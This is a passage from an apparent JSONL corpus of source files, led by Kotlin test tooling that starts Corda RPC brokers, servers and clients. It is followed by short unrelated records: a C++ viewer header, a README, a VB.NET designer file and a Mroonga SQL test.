\"rpcServerPassword\", permissions = emptySet())\nval fakeNodeLegalName = CordaX500Name(organisation = \"Not:a:real:name\", locality = \"Nowhere\", country = \"GB\")\n\n// Use a global pool so that we can run RPC tests in parallel\nprivate val globalPortAllocation = incrementalPortAllocation()\nprivate val globalDebugPortAllocation = incrementalPortAllocation()\n\n@Suppress(\"LongParameterList\")\nfun rpcDriver(\n isDebug: Boolean = false,\n driverDirectory: Path = Paths.get(\"build\") / \"rpc-driver\" / getTimestampAsDirectoryName(),\n portAllocation: PortAllocation = globalPortAllocation,\n debugPortAllocation: PortAllocation = globalDebugPortAllocation,\n systemProperties: Map = emptyMap(),\n useTestClock: Boolean = false,\n startNodesInProcess: Boolean = false,\n waitForNodesToFinish: Boolean = false,\n extraCordappPackagesToScan: List = emptyList(),\n notarySpecs: List = emptyList(),\n externalTrace: Trace? = null,\n @Suppress(\"DEPRECATION\") jmxPolicy: JmxPolicy = JmxPolicy(),\n networkParameters: NetworkParameters = testNetworkParameters(),\n notaryCustomOverrides: Map = emptyMap(),\n inMemoryDB: Boolean = true,\n cordappsForAllNodes: Collection? = null,\n djvmBootstrapSource: Path? = null,\n djvmCordaSource: List = emptyList(),\n environmentVariables: Map = emptyMap(),\n dsl: RPCDriverDSL.() -> A\n): A {\n return genericDriver(\n driverDsl = RPCDriverDSL(\n DriverDSLImpl(\n portAllocation = portAllocation,\n debugPortAllocation = debugPortAllocation,\n systemProperties = systemProperties,\n driverDirectory = driverDirectory.toAbsolutePath(),\n useTestClock = useTestClock,\n isDebug = isDebug,\n startNodesInProcess = startNodesInProcess,\n waitForAllNodesToFinish = waitForNodesToFinish,\n extraCordappPackagesToScan = extraCordappPackagesToScan,\n notarySpecs = notarySpecs,\n jmxPolicy = jmxPolicy,\n compatibilityZone = null,\n networkParameters = networkParameters,\n notaryCustomOverrides = notaryCustomOverrides,\n inMemoryDB = inMemoryDB,\n cordappsForAllNodes = cordappsForAllNodes,\n djvmBootstrapSource = djvmBootstrapSource,\n djvmCordaSource = djvmCordaSource,\n environmentVariables = environmentVariables\n ), externalTrace\n ),\n coerce = { it },\n dsl = dsl\n )\n}\n\nprivate class UserSetSecurityManager(val userSet: Set) : ActiveMQSecurityManager3 {\n override fun validateUser(user: String?, password: String?) = isValid(user, password)\n override fun validateUserAndRole(user: String?, password: String?, roles: MutableSet?, checkType: CheckType?) = isValid(user, password)\n override fun validateUser(user: String?, password: String?, connection: RemotingConnection?): String? {\n return validate(user, password)\n }\n\n override fun validateUserAndRole(user: String?, password: String?, roles: MutableSet?, checkType: CheckType?, address: String?, connection: RemotingConnection?): String? {\n return validate(user, password)\n }\n\n private fun isValid(user: String?, password: String?): Boolean {\n return userSet.any { it.username == user && it.password == password }\n }\n\n private fun validate(user: String?, password: String?): String? {\n return if (isValid(user, password)) user else null\n }\n}\n\ndata class RPCDriverDSL(\n private val driverDSL: DriverDSLImpl, private val externalTrace: Trace?\n) : InternalDriverDSL by driverDSL {\n private companion object {\n const val notificationAddress = \"notifications\"\n\n private fun ConfigurationImpl.configureCommonSettings(maxFileSize: Int, maxBufferedBytesPerClient: Long) {\n name = \"RPCDriver\"\n managementNotificationAddress = SimpleString(notificationAddress)\n isPopulateValidatedUser = true\n journalBufferSize_NIO = maxFileSize\n journalBufferSize_AIO = maxFileSize\n journalFileSize = maxFileSize\n queueConfigurations = listOf(\n CoreQueueConfiguration().apply {\n name = RPCApi.RPC_SERVER_QUEUE_NAME\n address = RPCApi.RPC_SERVER_QUEUE_NAME\n isDurable = false\n },\n CoreQueueConfiguration().apply {\n name = RPCApi.RPC_CLIENT_BINDING_REMOVALS\n address = notificationAddress\n filterString = RPCApi.RPC_CLIENT_BINDING_REMOVAL_FILTER_EXPRESSION\n isDurable = false\n },\n CoreQueueConfiguration().apply {\n name = RPCApi.RPC_CLIENT_BINDING_ADDITIONS\n address = notificationAddress\n filterString = RPCApi.RPC_CLIENT_BINDING_ADDITION_FILTER_EXPRESSION\n isDurable = false\n }\n )\n addressesSettings = mapOf(\n \"${RPCApi.RPC_CLIENT_QUEUE_NAME_PREFIX}.#\" to AddressSettings().apply {\n maxSizeBytes = maxBufferedBytesPerClient\n addressFullMessagePolicy = AddressFullMessagePolicy.PAGE\n pageSizeBytes = maxSizeBytes / 10\n }\n )\n }\n\n fun createInVmRpcServerArtemisConfig(maxFileSize: Int, maxBufferedBytesPerClient: Long): Configuration {\n return ConfigurationImpl().apply {\n acceptorConfigurations = setOf(TransportConfiguration(InVMAcceptorFactory::class.java.name))\n isPersistenceEnabled = false\n configureCommonSettings(maxFileSize, maxBufferedBytesPerClient)\n }\n }\n\n fun createRpcServerArtemisConfig(maxFileSize: Int, maxBufferedBytesPerClient: Long, baseDirectory: Path, hostAndPort: NetworkHostAndPort): Configuration {\n return ConfigurationImpl().apply {\n val artemisDir = \"$baseDirectory/artemis\"\n bindingsDirectory = \"$artemisDir/bindings\"\n journalDirectory = \"$artemisDir/journal\"\n largeMessagesDirectory = \"$artemisDir/large-messages\"\n pagingDirectory = \"$artemisDir/paging\"\n acceptorConfigurations = setOf(ArtemisTcpTransport.rpcAcceptorTcpTransport(hostAndPort, null))\n configureCommonSettings(maxFileSize, maxBufferedBytesPerClient)\n }\n }\n\n val inVmClientTransportConfiguration = TransportConfiguration(InVMConnectorFactory::class.java.name)\n fun createNettyClientTransportConfiguration(hostAndPort: NetworkHostAndPort): TransportConfiguration {\n return ArtemisTcpTransport.rpcConnectorTcpTransport(hostAndPort, null)\n }\n }\n\n /**\n * Starts an In-VM RPC server. Note that only a single one may be started.\n *\n * @param rpcUser The single user who can access the server through RPC, and their permissions.\n * @param nodeLegalName The legal name of the node to check against to authenticate a super user.\n * @param configuration The RPC server configuration.\n * @param ops The server-side implementation of the RPC interface.\n */\n fun startInVmRpcServer(\n rpcUser: User = rpcTestUser,\n nodeLegalName: CordaX500Name = fakeNodeLegalName,\n maxFileSize: Int = MAX_MESSAGE_SIZE,\n maxBufferedBytesPerClient: Long = 10L * MAX_MESSAGE_SIZE,\n configuration: RPCServerConfiguration = RPCServerConfiguration.DEFAULT,\n ops: I,\n queueDrainTimeout: Duration = 5.seconds\n ): CordaFuture {\n return startInVmRpcBroker(rpcUser, maxFileSize, maxBufferedBytesPerClient).map { broker ->\n startRpcServerWithBrokerRunning(rpcUser, nodeLegalName, configuration, ops, broker, queueDrainTimeout)\n }\n }\n\n /**\n * Starts an In-VM RPC client.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n * @param configuration The RPC client configuration.\n */\n fun startInVmRpcClient(\n rpcOpsClass: Class,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n ): CordaFuture {\n return driverDSL.executorService.fork {\n val client = RPCClient(inVmClientTransportConfiguration, configuration)\n val connection = client.start(rpcOpsClass, username, password, externalTrace)\n driverDSL.shutdownManager.registerShutdown {\n connection.close()\n }\n connection.proxy\n }\n }\n\n /**\n * Starts an In-VM Artemis session connecting to the RPC server.\n *\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n */\n fun startInVmArtemisSession(\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password\n ): ClientSession {\n val locator = ActiveMQClient.createServerLocatorWithoutHA(inVmClientTransportConfiguration)\n val sessionFactory = locator.createSessionFactory()\n val session = sessionFactory.createSession(username, password, false, true, true, locator.isPreAcknowledge, DEFAULT_ACK_BATCH_SIZE)\n driverDSL.shutdownManager.registerShutdown {\n session.close()\n sessionFactory.close()\n locator.close()\n }\n return session\n }\n\n fun startRpcServer(\n serverName: String = \"driver-rpc-server-${random63BitValue()}\",\n rpcUser: User = rpcTestUser,\n nodeLegalName: CordaX500Name = fakeNodeLegalName,\n maxFileSize: Int = MAX_MESSAGE_SIZE,\n maxBufferedBytesPerClient: Long = 5L * MAX_MESSAGE_SIZE,\n configuration: RPCServerConfiguration = RPCServerConfiguration.DEFAULT,\n customPort: NetworkHostAndPort? = null,\n ops: I\n ) = startRpcServer(serverName, rpcUser, nodeLegalName, maxFileSize, maxBufferedBytesPerClient, configuration, customPort, listOf(ops))\n\n /**\n * Starts a Netty RPC server.\n *\n * @param serverName The name of the server, to be used for the folder created for Artemis files.\n * @param rpcUser The single user who can access the server through RPC, and their permissions.\n * @param nodeLegalName The legal name of the node to check against to authenticate a super user.\n * @param configuration The RPC server configuration.\n * @param listOps The server-side implementation of the RPC interfaces.\n */\n fun startRpcServer(\n serverName: String = \"driver-rpc-server-${random63BitValue()}\",\n rpcUser: User = rpcTestUser,\n nodeLegalName: CordaX500Name = fakeNodeLegalName,\n maxFileSize: Int = MAX_MESSAGE_SIZE,\n maxBufferedBytesPerClient: Long = 5L * MAX_MESSAGE_SIZE,\n configuration: RPCServerConfiguration = RPCServerConfiguration.DEFAULT,\n customPort: NetworkHostAndPort? = null,\n listOps: List\n ): CordaFuture {\n return startRpcBroker(serverName, rpcUser, maxFileSize, maxBufferedBytesPerClient, customPort).map { broker ->\n startRpcServerWithBrokerRunning(rpcUser, nodeLegalName, configuration, listOps, broker)\n }\n }\n\n /**\n * Starts a Netty RPC client.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param rpcAddress The address of the RPC server to connect to.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n * @param configuration The RPC client configuration.\n */\n fun startRpcClient(\n rpcOpsClass: Class,\n rpcAddress: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n ): CordaFuture {\n return startRpcClient(rpcOpsClass, rpcAddress, username, password, configuration, emptyList()).map { it.first.proxy }\n }\n\n /**\n * Starts a Netty RPC client.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param rpcAddress The address of the RPC server to connect to.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n * @param configuration The RPC client configuration.\n * @param listeners [RPCConnectionListener]s to be attached to the [RPCClient]\n */\n fun startRpcClient(\n rpcOpsClass: Class,\n rpcAddress: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT,\n listeners: Iterable> = emptyList()\n ): CordaFuture, RPCClient>> {\n return driverDSL.executorService.fork {\n val client = RPCClient(ArtemisTcpTransport.rpcConnectorTcpTransport(rpcAddress, null), configuration)\n listeners.forEach {\n client.addConnectionListener(it)\n }\n val connection = client.start(rpcOpsClass, username, password, externalTrace)\n driverDSL.shutdownManager.registerShutdown {\n connection.close()\n }\n connection to client\n }\n }\n\n /**\n * Starts a Netty RPC client.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param haAddressPool The addresses of the RPC servers(configured in HA mode) to connect to.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n * @param configuration The RPC client configuration.\n */\n fun startRpcClient(\n rpcOpsClass: Class,\n haAddressPool: List,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n ): CordaFuture {\n return startRpcClient(rpcOpsClass, haAddressPool, username, password, configuration, emptyList()).map { it.first.proxy }\n }\n\n /**\n * Starts a Netty RPC client.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param haAddressPool The addresses of the RPC servers(configured in HA mode) to connect to.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n * @param configuration The RPC client configuration.\n * @param listeners listeners to be attached upon creation\n */\n fun startRpcClient(\n rpcOpsClass: Class,\n haAddressPool: List,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT,\n listeners: Iterable> = emptyList()\n ): CordaFuture, RPCClient>> {\n return driverDSL.executorService.fork {\n val client = RPCClient(haAddressPool, null, configuration)\n listeners.forEach {\n client.addConnectionListener(it)\n }\n val connection = client.start(rpcOpsClass, username, password, externalTrace)\n driverDSL.shutdownManager.registerShutdown {\n connection.close()\n }\n connection to client\n }\n }\n\n /**\n * Starts a Netty RPC client in a new JVM process that calls random RPCs with random arguments.\n *\n * @param rpcOpsClass The [Class] of the RPC interface.\n * @param rpcAddress The address of the RPC server to connect to.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n */\n fun startRandomRpcClient(\n rpcOpsClass: Class,\n rpcAddress: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password\n ): CordaFuture {\n val process = ProcessUtilities.startJavaProcess(listOf(rpcOpsClass.name, rpcAddress.toString(), username, password))\n driverDSL.shutdownManager.registerProcessShutdown(process)\n return doneFuture(process)\n }\n\n /**\n * Starts a Netty Artemis session connecting to an RPC server.\n *\n * @param rpcAddress The address of the RPC server.\n * @param username The username to authenticate with.\n * @param password The password to authenticate with.\n */\n fun startArtemisSession(\n rpcAddress: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password\n ): ClientSession {\n val locator = ActiveMQClient.createServerLocatorWithoutHA(createNettyClientTransportConfiguration(rpcAddress))\n val sessionFactory = locator.createSessionFactory()\n val session = sessionFactory.createSession(username, password, false, true, true, false, DEFAULT_ACK_BATCH_SIZE)\n driverDSL.shutdownManager.registerShutdown {\n session.close()\n sessionFactory.close()\n locator.close()\n }\n\n return session\n }\n\n fun startRpcBroker(\n serverName: String = \"driver-rpc-server-${random63BitValue()}\",\n rpcUser: User = rpcTestUser,\n maxFileSize: Int = MAX_MESSAGE_SIZE,\n maxBufferedBytesPerClient: Long = 10L * MAX_MESSAGE_SIZE,\n customPort: NetworkHostAndPort? = null\n ): CordaFuture {\n val hostAndPort = customPort ?: driverDSL.portAllocation.nextHostAndPort()\n addressMustNotBeBound(driverDSL.executorService, hostAndPort)\n return driverDSL.executorService.fork {\n val artemisConfig = createRpcServerArtemisConfig(maxFileSize, maxBufferedBytesPerClient, driverDSL.driverDirectory / serverName, hostAndPort)\n val server = ActiveMQServerImpl(artemisConfig, UserSetSecurityManager(setOf(rpcUser, rpcServerUser)))\n server.start()\n driverDSL.shutdownManager.registerShutdown {\n server.stop()\n addressMustNotBeBound(driverDSL.executorService, hostAndPort)\n }\n RpcBrokerHandle(\n hostAndPort = hostAndPort,\n clientTransportConfiguration = createNettyClientTransportConfiguration(hostAndPort),\n serverControl = server.activeMQServerControl,\n shutdown = { server.stop() }\n )\n }\n }\n\n private fun startInVmRpcBroker(\n rpcUser: User = rpcTestUser,\n maxFileSize: Int = MAX_MESSAGE_SIZE,\n maxBufferedBytesPerClient: Long = 10L * MAX_MESSAGE_SIZE\n ): CordaFuture {\n return driverDSL.executorService.fork {\n val artemisConfig = createInVmRpcServerArtemisConfig(maxFileSize, maxBufferedBytesPerClient)\n val server = EmbeddedActiveMQ()\n server.setConfiguration(artemisConfig)\n server.setSecurityManager(UserSetSecurityManager(setOf(rpcUser, rpcServerUser)))\n server.start()\n driverDSL.shutdownManager.registerShutdown {\n server.activeMQServer.stop()\n server.stop()\n }\n RpcBrokerHandle(\n hostAndPort = null,\n clientTransportConfiguration = inVmClientTransportConfiguration,\n serverControl = server.activeMQServer.activeMQServerControl,\n shutdown = { server.stop() }\n )\n }\n }\n\n fun startRpcServerWithBrokerRunning(\n rpcUser: User = rpcTestUser,\n nodeLegalName: CordaX500Name = fakeNodeLegalName,\n configuration: RPCServerConfiguration = RPCServerConfiguration.DEFAULT,\n ops: I,\n brokerHandle: RpcBrokerHandle,\n queueDrainTimeout: Duration = 5.seconds\n ) = startRpcServerWithBrokerRunning(rpcUser, nodeLegalName, configuration, listOf(ops), brokerHandle, queueDrainTimeout)\n\n private fun startRpcServerWithBrokerRunning(\n rpcUser: User = rpcTestUser,\n nodeLegalName: CordaX500Name = fakeNodeLegalName,\n configuration: RPCServerConfiguration = RPCServerConfiguration.DEFAULT,\n listOps: List,\n brokerHandle: RpcBrokerHandle,\n queueDrainTimeout: Duration = 5.seconds\n ): RpcServerHandle {\n val locator = ActiveMQClient.createServerLocatorWithoutHA(brokerHandle.clientTransportConfiguration).apply {\n minLargeMessageSize = MAX_MESSAGE_SIZE\n isUseGlobalPools = false\n }\n val rpcSecurityManager = RPCSecurityManagerImpl.fromUserList(users = listOf(\n InternalUser(rpcUser.username, rpcUser.password, rpcUser.permissions),\n InternalUser(rpcServerUser.username, rpcServerUser.password, rpcServerUser.permissions)),\n id = AuthServiceId(\"TEST_SECURITY_MANAGER\"))\n val rpcServer = RPCServer(\n listOps,\n rpcServerUser.username,\n rpcServerUser.password,\n locator,\n rpcSecurityManager,\n nodeLegalName,\n configuration,\n TestingNamedCacheFactory()\n )\n driverDSL.shutdownManager.registerShutdown {\n rpcServer.close(queueDrainTimeout)\n locator.close()\n }\n rpcServer.start(brokerHandle.serverControl)\n return RpcServerHandle(brokerHandle, rpcServer)\n }\n}\n\n/**\n * An out-of-process RPC user that connects to an RPC server and issues random RPCs with random arguments.\n */\nclass RandomRpcUser {\n\n companion object {\n private inline fun HashMap, Generator<*>>.add(generator: Generator) = this.putIfAbsent(T::class.java, generator)\n private val generatorStore = HashMap, Generator<*>>().apply {\n add(Generator.string())\n add(Generator.int())\n }\n\n data class Call(val method: Method, val call: () -> Any?)\n\n @JvmStatic\n fun main(args: Array) {\n require(args.size == 4)\n val rpcClass: Class = uncheckedCast(Class.forName(args[0]))\n val hostAndPort = NetworkHostAndPort.parse(args[1])\n val username = args[2]\n val password = args[3]\n AMQPClientSerializationScheme.initialiseSerialization()\n val handle = RPCClient(hostAndPort, null, serializationContext = AMQP_RPC_CLIENT_CONTEXT).start(rpcClass, username, password)\n val callGenerators = rpcClass.declaredMethods.map { method ->\n Generator.sequence(method.parameters.map {\n generatorStore[it.type] ?: throw Exception(\"No generator for ${it.type}\")\n }).map { arguments ->\n Call(method) { method.invoke(handle.proxy, *arguments.toTypedArray()) }\n }\n }\n val callGenerator = Generator.choice(callGenerators)\n val random = SplittableRandom()\n\n while (true) {\n val call = callGenerator.generateOrFail(random)\n call.call()\n Thread.sleep(100)\n }\n }\n }\n}\n"} +{"text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT License.\n\n#ifndef K4AVIEWER_H\n#define K4AVIEWER_H\n\n// System headers\n//\n#include \n\n// Library headers\n//\n#include \"k4aimgui_all.h\"\n\n// Project headers\n//\n#include \"k4aviewersettingsmanager.h\"\n\nstruct K4AViewerArgs\n{\n bool HighDpi = false;\n};\n\nnamespace k4aviewer\n{\nclass K4AViewer\n{\npublic:\n explicit K4AViewer(const K4AViewerArgs &args);\n ~K4AViewer();\n\n void Run();\n\n K4AViewer(const K4AViewer &) = delete;\n K4AViewer(const K4AViewer &&) = delete;\n K4AViewer &operator=(const K4AViewer &) = delete;\n K4AViewer &operator=(const K4AViewer &&) = delete;\n\nprivate:\n void ShowMainMenuBar();\n\n void SetHighDpi();\n\n void ShowErrorOverlay();\n\n void ShowViewerOptionMenuItem(const char *msg, ViewerOption option);\n\n GLFWwindow *m_window;\n bool m_showDemoWindow = false;\n bool m_showStyleEditor = false;\n bool m_showMetricsWindow = false;\n bool m_showPerfCounters = false;\n};\n} // namespace k4aviewer\n\n#endif\n"} +{"text": "# dom-walk\n\niteratively walk a DOM node\n\n## Example\n\n``` js\nvar walk = require(\"dom-walk\")\n\nwalk(document.body.childNodes, function (node) {\n console.log(\"node\", node)\n})\n```\n\n## Installation\n\n`npm install dom-walk`\n\n## Contributors\n\n - Raynos\n\n## MIT Licenced"} +{"text": "'------------------------------------------------------------------------------\n' <自動生成>\n' このコードはツールによって生成されました。\n'\n' このファイルへの変更は、以下の状況下で不正な動作の原因になったり、\n' コードが再生成されるときに損失したりします。 \n' \n'------------------------------------------------------------------------------\n\nOption Strict On\nOption Explicit On\n\nNamespace Aspx.TestScreenCtrl\n \n Partial Public Class WebForm1\n \n '''\n '''btnButton1 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton1 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton2 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton2 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton3 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton3 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton4 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton4 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton5 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton5 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''CheckBox1 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents CheckBox1 As Global.Touryo.Infrastructure.CustomControl.WebCustomCheckBox\n \n '''\n '''btnButton6 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton6 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton7 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton7 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton8 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton8 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton9 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フ��ールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton9 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton10 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton10 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton11 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton11 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton12 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton12 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton13 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton13 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton14 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton14 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton15 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton15 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton16 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton16 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton17 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton17 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton18 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton18 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton19 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton19 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton20 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton20 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton21 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton21 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton22 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton22 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton23 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton23 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton24 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton24 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton25 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton25 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton26 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton26 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''TextBox1 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents TextBox1 As Global.Touryo.Infrastructure.CustomControl.WebCustomTextBox\n \n '''\n '''btnButton27 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton27 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''btnButton28 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents btnButton28 As Global.Touryo.Infrastructure.CustomControl.WebCustomButton\n \n '''\n '''Image1 コントロール。\n '''\n '''\n '''自動生成されたフィールド。\n '''変更するには、フィールドの宣言をデザイナー ファイルから分離コード ファイルに移動します。\n '''\n Protected WithEvents Image1 As Global.System.Web.UI.WebControls.Image\n End Class\nEnd Namespace\n"} +{"text": "DROP TABLE IF EXISTS mroonga_releases;\nFLUSH STATUS;\nCREATE TABLE mroonga_releases (\nid INT PRIMARY KEY AUTO_INCREMENT,\nrelease_title TEXT,\nrelease_year YEAR,\nKEY (release_year),\nFULLTEXT KEY (release_title)\n) DEFAULT CHARSET UTF8MB4;\nINSERT INTO mroonga_releases (release_title, release_year)\nVALUES (\"Groonga storage engine (code name Mroonga) 0.1 has been released\", \"10\");\nINSERT INTO mroonga_releases (release_title, release_year)\nVALUES (\"Rename Groonga storage engine to Mroonga\", \"2011\");\nINSERT INTO mroonga_releases (release_title, release_year)\nVALUES (\"Mroonga 2.0 has been released\", \"2012\");\nINSERT INTO mroonga_releases (release_title, release_year)\nVALUES (\"Mroonga 3.0 has been released\", \"13\");\nINSERT INTO mroonga_releases (release_title, release_year)\nVALUES (\"Mroonga 4.0 will be released\", \"2014\");\nSELECT * FROM mroonga_releases\nWHERE release_year >= \"11\" AND\nMATCH(release_title) AGAINST(\"Mroonga\" IN BOOLEAN MODE)\nORDER BY id ASC LIMIT 2;\nid\trelease_title\trelease_year\n2\tRename Groonga storage engine to Mroonga\t2011\n3\tMroonga 2.0 has been released\t2012\nSHOW STATUS LIKE 'mroonga_fast_order_limit';\nVariable_name\tValue\nMroonga_fast_order_limit\t1\nDROP TABLE mroonga_releases;\n"} +{"text": "\n\n\n\n\n \n\n\n"} +{"text": "# compare_weak_order_fallback\n\n* compare[meta header]\n* function[meta id-type]\n* 